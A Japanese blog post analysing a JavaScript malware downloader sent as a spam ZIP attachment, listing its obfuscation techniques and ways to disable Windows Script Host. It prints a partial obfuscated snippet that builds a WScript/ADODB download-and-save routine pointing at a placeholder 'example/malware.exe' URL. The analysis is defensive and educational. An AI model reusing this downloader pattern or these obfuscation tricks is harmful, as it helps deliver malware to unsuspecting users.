読者です 読者をやめる 読者になる 読者になる

拾い物のコンパス

まともに書いたメモ

ダウンローダ型のマルウェアを眺めてみた

この記事では本物のマルウェアを取り扱っています.この記事の検証などで問題が起こっても一切責任は取れないので,行う際は自己責任でお願いします.また,この記事では心無い人による悪用を避けるため,マルウェアの全文は記載しません.興味のある方はハッシュなどから辿ってください.

はじまり

最近ZIPRARが添付された請求書や求人(月額$3000-6000, 30万円以上)という本当なら魅力的なメールが来る.
このようなメールは「危険なので,絶対に添付ファイルを開かないでください」と簡単に言われているが,「本当に危険なのか」,「一体何故危険なのか」を知りたくなったので,ダウンロードして解析してみた.
攻撃側のメールの送り方は,特定のメンバに一斉送信されるアドレスをどこからか特定し,そこに対してそれぞれ異なる文面,送信元アドレス,内容,添付ファイルを送りつけてくる.まだ解析の数をこなしたわけではないからかどれも同じものを見てはいないが,それぞれを数種類用意しただけで簡単に組み合わせ総数は大きくなるから,フィルタとかでの対応は厄介そうだ. メール本文例は以下の通り.

hi ???(改変してある)

I have attached a revised spreadsheet contains inventory adjustments. Please check if it's correct
 

Regards,
Michael Ballard

employees_B3CF49.zipというZIPファイルが添付されている.
中には難読化が施された全く同じ内容のJavascriptファイルが3つ(なぜ3つも入っていたのかは不明).

$ unzip -l employees_B3CF49.zip
Archive:  employees_B3CF49.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
  1051941  2016-05-16 14:49   history 648819 - cpy (2).js
  1051941  2016-05-16 14:49   history 648819 - cpy.js
  1051941  2016-05-16 14:49   history 648819.js
---------                     -------
  3155823                     3 files

VirusTotalに投げると,お察しな内容だった.真っ赤.
Antivirus scan for 5e587e55c9a9c28c4ac5e7d0a6d43c8b7d988654a3f13b838d1e45226213596c at 2016-05-20 01:00:34 UTC - VirusTotal
TrendMicro, Kaspersky, Symantecの検知名はそれぞれ"JS_LOCKY.DLDUF", "Trojan-Downloader.JS.Agent.klw", "JS.Downloader".
Kasperskyがわかりやすい.拡張子.klwはわからない.
JS_LOCKY.DLDUF - Threat Encyclopedia - Trend Micro AU
によると,出現は2016/05/12で,つい最近. 届く添付ファイルはどれもこのように最近登録されたものばかり.

環境

Linux環境は内容・脅威の確認用,Windowsは被害用仮想マシン

$ uname -a
Linux poppycompass 4.5.0-1-ARCH #1 SMP PREEMPT Tue Mar 15 09:41:03 CET 2016 x86_64 GNU/Linux

解析手順

最初にLinuxのメーラから,問題の添付ファイルをダウンロード.大抵ZIPだから,
$ unzip -l employees_B3CF49.zip
で何が入っているかを確かめる.今までに確認したのは.js.wsfのみ.
感染する気満々で苦笑いした.
一通り難読化を解除して,何をしているのかを見たら,必要なところをコメントアウトなり書き換えるなりしてからWindowsの仮想環境に投げて実行.

内容

当たり前だけど,解析をするときは部屋を明るくして,ネットワークから隔離した仮想環境内で画面から離れてみてね.あと1時間に15分程度の休憩を挟むこと.もちろん守ったことがない.   上で挙げたhistory 648819.jsの最初から数行は以下のような感じ.

var place0 = false;
var DENMARK0 = "";
'/' * 1048574byte
var fromPath;
var VALIGN0 = "Cr"+"e"+"ateObject";
/*@cc_on /* Zg  */
  @if (@_win32 || @_win64)/* Zg  */
    //
CONNECTION /* Zg  */ = "W"+"S"+"c"+"ript";
place0 /* Zg  */= true;/* Zg  */
DENMARK0/* Zg  */ = /* Zg  */"MLH";/* Zg  */
fromPath =/* Zg  */ "R" + "esponseB"/* Zg  */ + "ydo".split('').reverse().join('');
Turkey = /* Zg  */(/* Zg  */"noitisop").split(''/* Zg  */).reverse(/* Zg  */).join('');
devel0 /* Zg  *//* Zg  */ =/* Zg  */ "eliFoTevaS".split(''/* Zg  */).reverse().join('');
Currency0 = "A"+"DODB";
DENMARK1 = "s" + "end";
Backspace = "ht"+"tp:"+"//e" + "xample" + "/" + "mal" + "ware.e" + "xe";
Backspace0 = "G\x45"+"T";
/* Zg  */ @end/* Zg  */
@*//* Zg  */
if (!(place0))
{
WScript.Echo("pizzxzzda");
WScript.Quit(1);
}
...(snip)...

URL部分は変えてある.
WScriptを利用してマルウェア本体をダウンロードし,起動させる. 解析したやつはどれもC:\Users\<user_name>\AppData\Local\Temp以下に起動させたいEXEファイル本体をダウンロード(ファイルパスは動的に実行ユーザに合わせたパスが生成),実行するタイプだった.
AppDataはデフォルトでは隠しフォルダとなっているため,普通には見えない.隠しフォルダが見えるようにするには,ファイルエクスプローラーを起動して,
整理 -> フォルダーと検索のオプション -> 開いたウィンドウの「表示」タブ -> 「隠しフォルダー,及び隠しドライブを表示する」 -> OK
で見えるようになる.
人が読める程度ではあるが,いくつか難読化が施されている.以下では見かけたテクニックを並べていく.

難読化テクニック

コメント

とりあえずどこにでも/* Zg */や/ EE Hz /`といったコメントを挟む.地味に読みにくい.
置換して消した.

関係のない命名規則

プログラムの内容と全く関係のない関数・変数名にする.命名規則DENMARKなどの地名やchristopherの人名,bbbbbbbbbbbbbbbbbの意味なしと多岐にわたる.
地名や人名は勉強になる.変数は文字列を格納して,その後いじらないことものが多かったから,そういうやつだけ格納した文字列に置換すると良い.

バイトの挿入

文字列GETを"G\x45T"と16進を挟む. 他のやつから想像するか,console.logすると良い.

分割

バイトの挿入と組み合わせて使われることが多い.send"s"+"en"+"d"とする.素直に書いて欲しい.

逆順

"sgnirtStnemnorivnEdnapxE".split('').reverse().join('')と読み手には逆に見えるように書く.

大量の無意味な文字

上の例であげたコードでは/が1048574byte書かれている.
Windowsのメモ帳とかで開いたなら苦労したと思う.Vimで開けばCtrl+Fとかで飛ばせる.

配列によるカムフラージュ

("@sdf3asdf ", "adfs3.", " R")+ "u" + ("x", "n")
と一見複雑は配列になっているが,意味があるのは,各()の一番最後の要素だけ.上の例だと,"Run"になる.割と悪質.

素直じゃない計算

aaa=2と書けば済むところをaaa=(4714-4712) * 1とする.これをif (aaa==2)と利用する.

wsfファイル

Windowsスクリプトファイル(wsf)形式になっているものもあるが,内容は<job><script language="JScript">...[".js"と同じ内容]...</script/></job>とJS版と変わらない.

コード全体の難読化

上のテクニックをひと通り使ったコードを改行なし,見かけ逆順になるようにして,eval(<value>);する. 解析にひと手間必要になる.

マルウェアの難読化

ダウンロードされるマルウェアをバイトデータを逆順にし,0xffなどでXORしたものもあった.

結論と対処法

怪しいメールに添付されているファイルは解凍まではして良いが,実行・開いては駄目だというのが今回の結論.
JavaScriptコード内で使われているWScriptはWindowsのデフォルトで有効になっているから,マルウェアをダブルクリックしてしまえば,相手の環境がWindos7,8,恐らく10であろうとマルウェア本体を落としてきて実行という目的を果たせる.
そもそもWScriptが実行できなければとりあえずこのタイプに関しては良いので,無効にすればとりあえず防止できる.
だからといって気軽に実行して良い理由にはならないので,ちゃんと仮想環境で実行すること.
WScriptの無効化は

1. コントロールパネルを開く
2. アプリケーションの追加と削除
3. 「Windowsファイル」タブ
4. 「アクセサリ」の「Windows Scripting Host」のチェックを外す.

もう少し過激な方法としては実行する本体プログラムのWSCRIPT.EXE, CSCRIPT.EXEを削除する.

終わりに

現実で攻撃してくる奴らがどんな方法をとっているかの勉強になった. 読み方がわからないほどえげつない難読化に出会わなかったのは少し残念.
今回は予備調査の段階でWindows向けのJavascriptとわかったから解析できた.
もし,$ unzip -lの段階でやばいと感じたり,手に負えないと思ったらすぐに解析を諦めることが個人的な解析の重要なところだと思う.
感染する力は強いが,そもそも.jsって書いてあるのにわざわざ開くやついるのか・・・?

参考

Symantec Security Response - Windows Scripting Host(WSH)を無効にする方法

スクリプトファイルの無効化方法 js&wsf拡張子のウイルス対策3つで感染攻撃回避 ( Windows ) - 無題な濃いログ - Yahoo!ブログ